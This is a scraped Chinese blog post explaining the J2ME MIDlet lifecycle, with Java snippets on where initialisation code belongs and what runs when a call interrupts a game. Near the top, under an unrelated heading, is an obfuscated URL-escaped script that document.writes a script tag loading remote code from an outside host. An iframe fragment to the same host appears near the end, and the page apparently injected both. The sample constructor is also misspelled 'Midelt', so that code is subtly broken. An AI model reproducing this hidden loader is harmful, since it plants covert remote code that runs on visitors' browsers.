MIDlet的生命周期的深入理解及游戏死机问题

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
MIDlet的生命周期的深入理解及游戏死机问题







MIDlet的生命周期的深入理解及游戏死机问题








以下只是个人心得,肯定有许多不对之处^_^
首先在你运行一个程序的时候,JAM会调用该midlet的构造函数来生成midlet的对象,然后被jam置于Paused状态。一旦jam认为这个midlet对象可以执行时,jam就会调用startApp()方法,并将此midlet置于Active状态。startApp()方法由于在系统来电、或者退回到系统菜单返回时会被再次调用,所以这里只可以放初始化一次的代码。或者你把初始化一次的代码放到midlet的构造函数中。例如:



public class Midlet extends MIDlet{



  Display display = null;



  MyCanvas can;



  public Midelt(){



      display = Display.getDisplay(this);



      can = new MyCanvas();



}



  public void startApp(){



     display.setCurrent(can);//如果把can = new MyCanvas()放到这里,再来电返回时就会出问题。



}



}



或者



public class Midlet extends MIDlet{



  Display display = null;



  MyCanvas can;



  public Midelt(){



}



  public void startApp(){



      if(display ==null){



       display = Display.getDisplay(this);



       can = new MyCanvas();



}//此处只会被运行1次,这样就不会出错



       display.setCurrent(can);//这句按理放到这里最合适,你想显示那个canvas就放哪个!



}



}






在startApp()中,你调用display.setCurrent(can)的时候,首先运行的是showNotify(),接着运行paint()函数一次,如果有线程的话,此时run()方法开始运行。一般在run()方法里一般这么写。此时的run()是可以处理异步事件的,也就是你来电话的时候,这里run()还是运行的。不过他不会paint()什么东西,即使它里面有repaint(),这点放心。



public void run(){



while(flag){//flag是boolean型变量



try{



  Thread.sleep(50);//时间自己设啦。



}catch(Exception e){}



repaint();



}



}






哇~~来电话了,或者你退到系统菜单。如nokia s60的手机。



hideNotify()首先会被调用,接着pauseApp()再被调用。






这么快,打完了,返回时:先调用showNotify(),接着调用paint()函数一次,最后才是调用startApp()函数。



关于run()和paint()也可以使用display.callSerially(this)语句。这个以后有时间了再说。




 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值